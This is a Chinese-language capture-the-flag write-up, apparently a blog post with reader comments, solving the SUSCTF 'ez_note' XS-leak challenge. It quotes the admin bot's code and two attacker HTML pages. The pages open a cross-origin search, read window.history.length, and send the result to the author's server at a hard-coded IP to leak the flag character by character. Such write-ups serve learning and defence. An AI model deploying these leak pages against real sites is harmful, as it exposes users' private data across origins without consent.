从 SUSCTF 学 XS-leak
前言:参加了SUSCTF,发现了一个非常有意思的目标很明显的xsleak题目。走了很多弯路,最后在赛后做出来了。从这道题学到了很多js编写规范以及特性。感觉十分有趣,虽然可能和正常漏洞的利用手法相差较远,但也是非常有意思的一个知识点。
ez_note
首先下载附件 给出了bot的访问规则。
const opt = {
name: "ez_note",
router: "ez_note",
site: process.env.NOTE_SITE ?? "",
template: "note"
}
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
const visit = async (browser, path) =>{
let site = process.env.NOTE_SITE ?? ""
let url = new URL(path, site)
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
const loginpage = await browser.newPage()
await loginpage.goto( site+"/signin")
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
await Promise.all([
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
await loginpage.goto("about:blank")
await loginpage.close()
const page = await browser.newPage()
await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})
await delay(5000) /// waiting 5 second.
}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}
module.exports = {
opt:opt,
visit:visit
}
可以看到它在登录自己的账号之后关闭了页面 然后进行 我们给出的页面的访问。
那么首先我们需要让浏览器能够携带cookie来访问进行类似csrf的操作。
这里通过搜索了 Lax 这一feature ,在使用window.open的时候 浏览器可以携带cookie继续进行访问 能够保持原来登录的会话基础上在做查询。那么这一点就满足了我们 xs-leak的第一个条件。
我们继续观察题目,首先我们应该考虑找到他能够进行xss或者说让bot来访问我们的点。
可以观察到
这个页面可以进行文章创建,其中用户名、文章 、文章标题都是可控,但是所有的内容都会被转义。那么这里就没有意义了。
可以看到bot的页面如下,
给出了前面的一部分url,但是抓包发现,传的其实是后面的一个完整url,和前面没有热任何关系,尝试让他访问vps
那么这里就已经有了xss的点。现在考虑的是用什么做为xs-leak的判断条件。
经过fuzz 我们可以发现,在search处可以对文章进行查询。
如果查询到仅有一篇文章满足条件 就会跳转到该文章处。
这里赛时我就开始走弯路了,因为我发现其对于访问时进行了延时设计 是1000ms
我考虑这里可以进行时间延迟的测试。于是写下了这种恶意页面进行测试。
<!DOCTYPE html>
<html>
<head>
<title>Evil page</title>
</head>
<script>
const start=Date.now();
</script>
<body>
<script>
function go(){
let w = window.open("http://123.60.29.171:10001/search?word=S",'');
const end = Date.now();
var req = new XMLHttpRequest();
req.open('get',`http://82.156.18.214:8888/result?word=S=${end - start}`,true);
req.withCredentials = true;
req.send();
}
</script>
<img onerror=go() src='xxx'>
</body>
</html>
但这里有一个最大的问题,就是 window.open的异步问题,我们并不能知道新开页面的内容是否加载完成以及跳转。所以很难对于时间进行控制。
赛后学习到的一种新方式利用window.history.length 来查看 bot查看过多少个页面。但是这种调用方式不能跨域。会被CORS拦截。所以我们需要等其加载完毕后让他重定向到“about:blank”页面,再算这个window.history.length这样就可以成功进行xs-leak了。结合上面的/search中的?q=“”这种方法逐位leak出flag。
由于flag就代表着文章有这个字符,所以会进行跳转,使得window.history.length+1 也就是3.所以这里编写出如下的恶意页面。
<!DOCTYPE html>
<html>
<head>
<title>Evil page</title>
</head>
<body>
<script>
async function test() {
let url = 'http://123.60.29.171:10001/search?q=SUSCTF{';
let win = open(url);
// Wait for the window to be cross-origin
await new Promise(r => setInterval(() => {
try {
win.origin.slice()
} catch (e) {
r(e)
}
}, 1));
// Change the location
win.location = url ;
// Skip one microtask
await new Promise(resolve => setTimeout(resolve, 2000));
// Change the location to same-origin
win.location = 'about:blank';
// Wait for the window to be same-origin
await new Promise(r=>setInterval(()=>r(win.document.defaultView),1));
// See how many entries exist in the history
window.open('http://82.156.18.214:8888/result?word=SUSCTF{='+win.history.length, false);
// XSS auditor did not trigger
}
</script>
<img src='xxx' onerror=test()>
</body>
</html>
然后实现自动化 利用python起flask监听,html页面里面套一层进行这一位情况的枚举。由于他的bot访问页面有验证码。这里就不会饶过了,只能手动点。
flag不是很长。
这种就代表是flag,匹配上了。
师傅,图片上的ip地址打了码,但是在你的脚本里还是把你自己的vps泄漏了?有个问题想要请教下,自己构造的html是直接放在什么位置
qs 傻了 不过无所谓了 hhh
/var/www/html 啊 你开http服务也行。